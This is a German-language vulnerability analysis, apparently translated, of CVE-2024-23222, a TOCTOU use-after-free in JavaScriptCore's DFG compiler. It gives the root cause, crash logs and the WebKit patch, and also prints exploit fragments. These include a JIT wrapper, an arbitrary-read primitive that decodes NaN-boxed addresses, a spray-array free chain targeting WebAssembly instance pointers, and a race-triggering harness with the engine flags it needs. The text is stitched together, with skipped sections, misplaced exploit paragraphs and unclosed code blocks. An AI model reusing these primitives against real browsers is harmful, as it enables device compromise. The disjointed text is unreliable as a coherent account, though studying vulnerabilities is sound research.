Die zurückgegebene `JSValue` ist ungeschützt. Wenn sie einen Zellzeiger enthält, hindert nichts daran, dass diese Zelle zwischen der Freigabe der Sperre und dem Zeitpunkt, an dem der Aufrufer sie verwendet, freigegeben wird.

### 2.3 Verbraucherpfade für den veralteten Wert

Die zurückgegebene `JSValue` kann auf zwei Wegen verbraucht werden. Wenn die Zelle über das Race-Fenster hinweg veraltet oder ungültig geworden ist, kann jeder Pfad einen Fehler verursachen.

**Pfad A: `freeze()` im Compiler-Thread.** Der direkteste Verbraucher ist `Graph::freeze()`, den der Aufrufer sofort auf dem zurückgegebenen Wert aufruft:```cpp
// Source/JavaScriptCore/dfg/DFGGraph.cpp
FrozenValue* Graph::freeze(JSValue value)
{
    if (UNLIKELY(!value))
        return FrozenValue::emptySingleton();

    // This dereferences value as a cell:
    RELEASE_ASSERT(!jsDynamicCast<CodeBlock*>(value));
    // ...
    FrozenValue frozenValue = FrozenValue::freeze(value);
    // ...
}

Wenn die Zelle zwischen der Rückkehr von `tryGetConstantProperty()` und der Ausführung von `freeze()` freigegeben wurde, handelt es sich bei `value.asCell()->structure()` um einen Use-After-Free.

**Pfad B: GC-Markierung während des erweiterten Fensters.** Im Forschungsbuild tritt der Compiler-Thread nach dem Lesen der Eigenschaft, aber bevor sie an den Aufrufer zurückgegeben wird, in einen rohen DFG-Safepoint innerhalb von `tryGetConstantProperty()` ein. Dadurch kann der Hauptthread GC ausführen, während der veraltete Zellenwert noch als rohe native lokale Variable auf der Compiler-Seite existiert. Im aktuellen Linux x86_64 PoC tritt der zuverlässig reproduzierte Absturz später bei der GC-Markierung auf, wo `SlotVisitor` schließlich eine ungültige veraltete Zelle dereferenziert, während er Heap-Referenzen durchläuft. Der aktuelle Absturzstack beweist, dass die spätere GC-Infrastruktur den veralteten Wert konsumiert; er beweist nicht von selbst den genauen Container-Slot, von dem dieser veraltete Zeiger erreicht wurde.

### 2.4 Aufrufstellen

Zwei Stellen in der DFG-Pipeline übergeben das Ergebnis von `tryGetConstantProperty()` bedingungslos an `freeze()`:

**ByteCodeParser** — während der anfänglichen Bytecode-zu-DFG-IR-Absenkung:```cpp
// Source/JavaScriptCore/dfg/DFGByteCodeParser.cpp:5114
JSValue constant = m_graph.tryGetConstantProperty(
    base->asJSValue(),
    *m_graph.addStructureSet(variant.structureSet()),
    variant.offset());
if (constant)
    return weakJSConstant(constant);  // → m_graph.freeze(constant)

Eine dritte Aufrufstelle im **AbstractInterpreter** ruft ebenfalls `freeze()` auf, jedoch nur wenn der zurückgegebene Wert ein `GetterSetter*` ist:```cpp
// Source/JavaScriptCore/dfg/DFGAbstractInterpreterInlines.h:4319
JSValue result = m_graph.tryGetConstantProperty(base, data.offset);
if (result && jsDynamicCast<GetterSetter*>(result))
    setConstant(node, *m_graph.freeze(result));

Der Wert `config.g = -NaN` dient als Seitenkanal der JIT-Stufe: `Math.min(-NaN, -NaN)` erzeugt unterschiedliche Bitmuster im Interpreter im Vergleich zum JIT, beobachtbar durch ein `Int32Array`-Overlay.

**JIT-Aufruf-Wrapper.** Ein `new Function()` mit 7,200 Wiederholungen von Dead-Code-Padding (`x += 1;` innerhalb von `if(false)`) steuert die Größe des JIT-Codebereichs. Der Live-Code-Pfad ist ein einfacher Funktionsdispatcher:```javascript
const deadCodePadding = 'x += 1; '.repeat(7200 * 7);
const jitCallWrapper = new Function(
    'func', 'arg0', 'arg1', 'arg2', 'arg3', 'arg4',
    `if(false) { let x = 0; ${deadCodePadding} }
     return func(arg0, arg1, arg2, arg3, arg4);`
);

**Beliebiges Lesen.** Nachdem die Struktur korrumpiert wurde, liest `jitReadFn` `arr[0]` durch den korrumpierten Butterfly-Pointer, dann dividiert es durch `5e-324` (`Number.MIN_VALUE`), um das NaN-Boxing umzukehren und eine rohe Adresse zu extrahieren:```javascript
const jitReadFn = (state, arr, targetAddr) => {
    state.callFn(corruptFn, state, targetAddr);
    const readValue = arr[0];
    return readValue / 5e-324;  // decode address from NaN-boxed float64
};

Die Kette: `apply()` liest die Eigenschaften 0–8. Das Lesen von Index 8 löst den Getter aus, der die spray arrays freigibt. `inlinedFunction` ruft dann `jitTrigger` mit `arguments[3]` auf (dem jetzt freigegebenen `sprayArrays[3001]`). Der JIT-kompilierte `jitTrigger` interpretiert den freigegebenen Speicher als float64-Werte, decodiert Adressen mittels `/ 5e-324` und löst WebAssembly-Instanzzeiger auf, um eine primitive zum willkürlichen Lesen/Schreiben zu initialisieren.

### 3.3 Warum dies ARM64-spezifisch ist

Zwei Eigenschaften von ARM64 machen diesen Exploit nicht auf x86_64 portierbar.

**Speicherordnung.** Die S1→S2→S3 Multi-Struktur-Race, die im Patch-Commit beschrieben wird, hängt von der schwachen Speicherordnung von ARM64 ab. Wenn der Hauptthread einen neuen Eigenschaftswert schreibt und dann eine neue Struktur setzt, kann ARM64 diese Stores umordnen. Der Compiler-Thread kann die neue Struktur sehen, aber den alten (veralteten) Eigenschaftswert lesen. Die Total Store Order (TSO) von x86_64 garantiert, dass wenn der Struktur-Store sichtbar ist, jeder vorherige Store – einschließlich des Eigenschaftsschreibens – ebenfalls sichtbar ist. Der spezifische Speicherumordnungsmechanismus, auf den die Multi-Struktur-Konstantenfaltungs-Race angewiesen ist, trifft unter TSO nicht zu, und diese Race wurde auf x86_64 nicht beobachtet.

**NaN-Boxing-Layout.** Der Exploit schreibt maßgeschneiderte float64-Werte in Objekteigenschaften und nutzt die Tatsache aus, dass auf ARM64 die Bitmuster dieser Doubles mit JSC-Zellheadern (Struktur-IDs, Butterfly-Zeigern) in der NaN-Boxing-Darstellung überlappen. Während x86_64 JSC dasselbe NaN-Boxing-Schema verwendet, unterscheiden sich die spezifische Struktur-ID-Kodierung und das Zeigerlayout genug, dass die ARM64-Type-Punning-Technik auf x86_64 keine gültige Strukturbeschädigung erzeugt.

---

## 4. Anpassung an x86_64

### 4.1 Warum der ARM64-Angriff auf x86_64 scheitert

Die Multi-Struktur-Race erfordert, dass der Compiler-Thread einen Eigenschaftswert aus einer Zwischenstruktur (S2) liest, während das profilierte Strukturset nur {S1, S3} enthält. Auf x86_64 verhindert TSO dies: Die Zellsperre in `tryGetConstantProperty()` sorgt für Sequenzierung, und selbst ohne Sperre garantiert die Store-Reihenfolge ein konsistentes (Struktur, Wert)-Paar. Wenn der Compiler-Thread die Struktur S1 sieht, sieht er den Wert von S1. Wenn er S2 sieht, schlägt die Strukturprüfung fehl (S2 ist nicht im Set). Das spezifische Store-Umordnungsfenster, das die schwache Ordnung von ARM64 öffnet, gilt unter TSO nicht.

### 4.2 Die Alternative: freigegebene Zelle während der Kompilierung

Der x86_64-Proof-of-Concept nutzt eine andere Konsequenz derselben TOCTOU aus. Anstatt den Compiler dazu zu bringen, einen Wert aus der falschen Struktur zu falten, führt es dazu, dass der Compiler einen veralteten zellwertigen `JSValue` hält, der über das verbreiterte Race-Fenster hinweg ungültig wird.

Die Abfolge:

1. `tryGetConstantProperty()` liest eine zellwertige Eigenschaft unter der Zellsperre.
2. Die Sperre wird freigegeben. Der Zellzeiger ist nun ein roher `JSValue` auf dem nativen C++-Stack des Compiler-Threads.
3. Der Hauptthread ersetzt die Eigenschaft (`state.val = 0`) und entfernt die letzte JavaScript-Referenz auf die Zelle.
4. Der Hauptthread löst die Garbage Collection aus.
5. GC scannt **nicht** den Stack des Compiler-Threads. DFG-Compiler-Threads erwerben nie `JSLock` und werden daher nie im Maschinen-Thread-Set des GC registriert:```cpp
// Source/JavaScriptCore/runtime/JSLock.cpp:154-160
// Inside didAcquireLock(), called when acquiring JSLock:
if (thread.uid() != m_lastOwnerThread) {
    m_lastOwnerThread = thread.uid();
    if (m_vm->heap.machineThreads().addCurrentThread()) {
        // ...
    }
}
// DFG compiler threads never acquire JSLock.
// Their stacks are never scanned by GC.

`state.val` enthält die Zielzelle. `Object.seal()` fixiert die Struktur, sodass der DFG `state` als bekannte Konstante behandeln kann.

**Testfunktion.** Eine dynamisch generierte Funktion liest `state.val`. Wenn der DFG diese Funktion kompiliert, versucht er, den Eigenschaftszugriff durch constant folding zu optimieren, und tritt in `tryGetConstantProperty()` ein:```javascript
let probe = new Function(
    'state',
    'const v0 = state.val; return (v0 ? 1 : 0);'
).bind(null, state);

**Release and collect.** Sobald der DFG-Compiler-Thread die Zelle gelesen hat (der instrumentierte Build schläft hier), gibt der Haupt-Thread die Referenz frei und führt GC aus. Die eigentliche Harness-Logik ist parametrisiert, aber die Standard-Arbeitsform ist:```javascript
state.val = 0;    // remove the JS reference to the target cell
probe = null;     // drop the probe closure

burnInterpreterRegisters(SCRUB_ROUNDS);

Promise.resolve().then(() => {
    burnInterpreterRegisters(SCRUB_ROUNDS);
    runGcSequence();      // repeated GC passes plus allocation pressure
});
drainMicrotasks();

`burnInterpreterRegisters()` ist eine rekursive numerische Funktion, die Interpreter-Register-Slots auf dem Stack des Hauptthreads überschreibt, wodurch die Wahrscheinlichkeit verringert wird, dass eine konservative Stack-Untersuchung einen veralteten Zeiger auf die Zielzelle findet.

### 5.2 Engine-Instrumentierung

Der Forschungsbuild modifiziert `tryGetConstantProperty()` in `DFGGraph.cpp`. Nachdem die Zellensperre freigegeben wurde und bevor die Funktion zurückkehrt, führt die Instrumentierung Folgendes durch:

1. Schreibt optional eine Signalisierungsdatei (für JS-seitige Synchronisation; in der besten aktuellen Konfiguration deaktiviert).
2. Tritt in einen rohen DFG `Safepoint` ein, der die `m_rightToRun`-Sperre des Compiler-Threads freigibt. Dadurch kann die Garbage Collection fortfahren, ohne auf den Compiler-Thread zu warten.
3. Schläft für eine konfigurierbare Dauer (Standard: 500 ms).
4. Beim Aufwachen erlangt es `m_rightToRun` zurück und prüft, ob der Kompilierungsplan abgebrochen wurde.```cpp
// DFGGraph.cpp — research instrumentation in tryGetConstantProperty()
if (result.isCell()) {
    Safepoint::Result safepointResult;
    {
        // Raw Safepoint — does NOT register Graph as a Scannable.
        // GC will not visit the Graph's frozen values during this window.
        Safepoint safepoint(m_plan, safepointResult);
        safepoint.begin();          // releases m_rightToRun
        usleep(tgcpSleepUsec());    // default: 500,000 µs
    }                               // destructor re-acquires m_rightToRun

    if (safepointResult.didGetCancelled())
        return JSValue();           // plan was cancelled during sleep
}
return result;  // caller calls freeze(result)

**Flags explained:**

| Flag | Erklärung |
|------|-----------|
| `--useConcurrentJIT=true` | Hintergrund-DFG-Kompilierung aktivieren (der Wettlauf benötigt zwei Threads) |
| `--thresholdForOptimizeAfterWarmUp=20` | Senkt die DFG-Tier-Up-Schwelle, sodass die Kompilierung nach minimalem Warmup beginnt |
| `--thresholdForJITAfterWarmUp=5` | Senkt die Baseline-JIT-Schwelle |
| `--thresholdForFTLOptimizeAfterWarmUp=1000000` | Verhindert, dass FTL mit DFG konkurriert; hält die Kompilierung in der DFG-Stufe |
| `JSC_TGCP_SLEEP_USEC=500000` | 500ms Wettlauf-Fenster im instrumentierten Build |
| `JSC_TGCP_SIGNAL_PATH=''` | Deaktiviert die Signaldat(ei) (zeitbasierte Synchronisation nur) |
| `ASAN_OPTIONS=...quarantine_size_mb=256` | Große Quarantäne verhindert, dass freigegebener Speicher sofort wiederverwendet wird |

Die Tiering-Flags sind entscheidend. Ohne sie verändert sich der JIT-Plan so stark, dass Kompilierung und Hauptthread-Freigabe nicht mehr synchron sind.

---

## 6. Absturzanalyse

### 6.1 Der GC-Marking-Absturz

Der primäre reproduzierbare Absturz tritt während der Garbage Collection auf, wenn der `SlotVisitor` des GC versucht, eine veraltete Zelle zu markieren. Ein repräsentativer vollständiger Durchlauf sieht so aus:```text
WARNING: ASAN interferes with JSC signal handlers; useWebAssemblyFastMemory and useWasmFaultSignalHandler will be disabled.
[clean-race] clean CVE-2024-23222 x86_64 ASan attempt signal=false delaySpins=0 delayMs=0 delayKind=sleep gc=full reads=1 release=direct probe=bound-generated
[tgcp] HIT obj=0x62d000110140 struct=0x7f260000a160 setSize=1 offset=0 val=cell
[tgcp] RACE: entering safepoint + sleeping 500000us after reading cell 0x62d00011c130 from obj=0x62d000110140 offset=0
[clean-race] attempt 1: startCompilation() -> 1
[clean-race] attempt 1: proceeding without signal after delaySpins=0 delayMs=0 delayKind=sleep
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] BAIL base=null offset=0 (base null or not object)
[tgcp] WAKE: safepoint done, cell was 0x62d00011c130
[tgcp] ASAN: cell 0x62d00011c130 is accessible after wake
AddressSanitizer:DEADLYSIGNAL
=================================================================
==28622==ERROR: AddressSanitizer: SEGV on unknown address 0x180000008020
==28622==The signal is caused by a READ memory access.
    #0  WTF::Dependency::loadAndFence<unsigned int>()
    #1  JSC::MarkedBlock::aboutToMark(unsigned int)
    #2  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSCell*)
    #3  JSC::SlotVisitor::appendHiddenUnbarriered(JSC::JSValue)
    #4  JSC::SlotVisitor::appendHidden(...)
    #5  JSC::SlotVisitor::appendValuesHidden(...)
    #6  JSC::JSFinalObject::visitChildrenImpl<JSC::SlotVisitor>(...)
    #7  JSC::JSFinalObject::visitChildren(...)
    #8  JSC::SlotVisitor::visitChildren(JSC::JSCell const*)
    #9  JSC::SlotVisitor::drain(...)
    #10 JSC::SlotVisitor::drainFromShared(...)
    #11 JSC::Heap::runBeginPhase(JSC::GCConductor)
    #12 WTF::SharedTaskFunctor<...>::run()
    #13 WTF::ParallelHelperClient::runTask(...)
    #14 WTF::ParallelHelperPool::Thread::work()

Irgendwann in dieser Traversierung erhält `appendHiddenUnbarriered` einen veralteten zellenwertigen `JSValue` und behandelt ihn als eine lebende Zelle:```cpp
// Source/JavaScriptCore/heap/SlotVisitorInlines.h:91-93
MarkedBlock& block = cell->markedBlock();
dependency = block.aboutToMark(m_markingVersion);

The `loadAndFence` liest von der Müll-Adresse `MarkedBlock` (`0x180000008020`), was zu einem SEGV führt.

### 6.2 Die `freeze()`-Absturzvariante

Unter verschiedenen Timing-Bedingungen erzeugt derselbe TOCTOU auch einen Absturz direkt auf dem DFG-Compiler-Arbeits-Thread im `freeze()`-Pfad:```
    #0  ClassInfo::isSubClassOf()
    #1  JSCell::inherits()
    #2  jsDynamicCast<CodeBlock, JSCell>()
    #3  Graph::freeze(JSValue)
    #4  ByteCodeParser::weakJSConstant()
    #5  ByteCodeParser::load<GetByVariant>()

Das `[tgcp] HIT` bestätigt, dass `tryGetConstantProperty()` die Zieleigenschaft erfolgreich als Zellenwert konstant gefaltet hat. Die `RACE`-Zeile zeigt, dass der Compiler-Thread das erweiterte Fenster betritt. Die `WAKE`-Zeile zeigt seine Fortsetzung. Die ASan-Diagnose meldet die Zelle als "zugänglich" – ASan sieht keine einfache Redzone-Verletzung – aber die internen Zeiger der Zelle (Struktur-ID, `MarkedBlock`-Rückzeiger) sind veraltet, was zum Absturz führt, wenn der eigene Code von JSC versucht, sie zu verwenden.

---

## 7. Forschungstechniken

### 7.1 Was künstlich ist

Der Forschungsbuild modifiziert `tryGetConstantProperty()` auf drei Arten:

- Ein `usleep()` von 500 ms erweitert das Rennfenster. Die ursprüngliche Engine hat hier keinen Schlaf; das natürliche Fenster zwischen der Freigabe der Zellensperre und dem `freeze()`-Aufruf beträgt Nanosekunden.
- Ein roher `Safepoint` wird eingegeben, ohne den `Graph` als `Scannable` zu registrieren. Produktions-Safepoints (über `GraphSafepoint`) fügen den `Graph` hinzu, was dazu führt, dass der GC alle eingefrorenen Werte besucht. Der rohe Safepoint macht die noch nicht eingefrorene Zelle für den GC unsichtbar.
- Umgebungsvariablen (`JSC_TGCP_SLEEP_USEC`, `JSC_TGCP_SIGNAL_PATH`) steuern die Schlafdauer und eine optionale Signaldatei.

### 7.2 Was nicht künstlich ist

Der Absturz selbst stammt von unveränderten JSC-Codepfaden:

- `JSFinalObject::visitChildrenImpl` und `SlotVisitor::appendHiddenUnbarriered` sind Standard-GC-Markierungslogik.
- `Graph::freeze()` und `FrozenValue::freeze()` sind Standard-DFG-Compilerlogik.
- Es wird kein `__asan_poison_memory_region()` oder andere manuelle Speicherkorruption verwendet.
- Es wird keine explizite "dereferenziere den veralteten Zeiger hier"-Sonde in den Absturzpfad eingefügt.
- Das JavaScript-Harness verwendet nur öffentliche JSC-APIs und `jsc`-Shell-Builtins (`optimizeNextInvocation`, `numberOfDFGCompiles`, `fullGC`, `drainMicrotasks`).
- DFG-Compiler-Threads werden tatsächlich nicht vom GC gescannt – dies ist Produktionsverhalten, kein Forschungsartefakt.

### 7.3 Bewertung

Das natürliche Rennfenster ist zu schmal für eine zuverlässige Reproduktion auf x86_64 ohne Messtechnik. Auf ARM64 bietet die schwache Speicherordnung dem ursprünglichen Exploit ein viel breiteres natürliches Fenster – Struktur- und Wertespeicherungen können umgeordnet werden, sodass der Compiler-Thread einen inkonsistenten Zustand beobachten kann, ohne künstliche zeitliche Unterstützung.

Ein hypothetischer Produktions-Exploit auf x86_64 bräuchte entweder eine Möglichkeit, den Compiler-Thread an der kritischen Stelle aufzuhalten (z. B. eine langsame Struktursuche, eine umkämpfte Sperre oder eine pathologische Graph-Form, die `freeze()` verzögert) oder einen statistischen Ansatz mit vielen Kompilierungsversuchen. Die Messtechnik ersetzt diese Anforderung durch einen deterministischen Schlaf.

---

## 8. Der Patch

Der WebKit-Commit `64714692967ad278155fcae66c5cb0f853b3bf34` von Yusuke Suzuki (geprüft von Mark Lam) behebt die Sicherheitslücke.

Der Fix führt eine neue Klasse ein, `DesiredObjectProperties`, die `(JSObject*, PropertyOffset, JSValue, Structure*)`-Tupel aufzeichnet, wann immer der DFG-Compiler eine Property-Ladung konstant faltet. Nach Abschluss der Kompilierung liest `Plan::isStillValidOnMainThread()` diese Properties auf dem Hauptthread erneut und vergleicht sie mit den aufgezeichneten Werten. Wenn ein Tupel veraltet ist – die Struktur des Objekts hat sich geändert oder der Property-Wert unterscheidet sich – wird der kompilierte Plan verworfen, bevor er ausgeführt werden kann.

Dies wandelt die TOCTOU in eine atomare Prüfung um: Der Snapshot des Compilers wird an einem Synchronisationspunkt (Hauptthread-Finalisierung) validiert, bevor der optimierte Code installiert wird. Der `freeze()`-UAF kann während der Kompilierung immer noch auftreten, aber der resultierende Code wird nie verwendet.

Für Multi-Struktur-Sets lehnt das gepatchte `tryGetConstantProperty()` die konstante Faltung vollständig ab, wenn `structureSet.size() > 1` und nicht alle Strukturen aktiv beobachtet werden. Dies beseitigt den S1→S2→S3-Transition-Angriff an der Quelle.

---

## 9. Dateien

| Datei | Beschreibung |
|------|-------------|
| `toctou_clean_asan_v2.js` | JavaScript-Proof-of-Concept-Harness |
| `DFGGraph.cpp` | Angreifbare Funktion (`tryGetConstantProperty`), `freeze()` und Forschungstechniken |
| `DFGFrozenValue.h` | `FrozenValue::freeze()` – der Zeiger-Dereferenzierungspunkt |
| `DFGByteCodeParser.cpp` | `weakJSConstant()`-Aufrufstelle |
| `DFGConstantFoldingPhase.cpp` | `emitGetByOffset()`-Aufrufstelle |
| `DFGAbstractInterpreterInlines.h` | Abstract-Interpreter-Aufrufstelle |
| `SlotVisitorInlines.h` | `appendHiddenUnbarriered()` – GC-Markierungs-Absturzstelle |
| `MarkedBlock.h` | `aboutToMark()` – wo der SEGV auftritt |
| `JSLock.cpp` | `didAcquireLock()` – zeigt, dass DFG-Threads nicht beim GC registriert sind |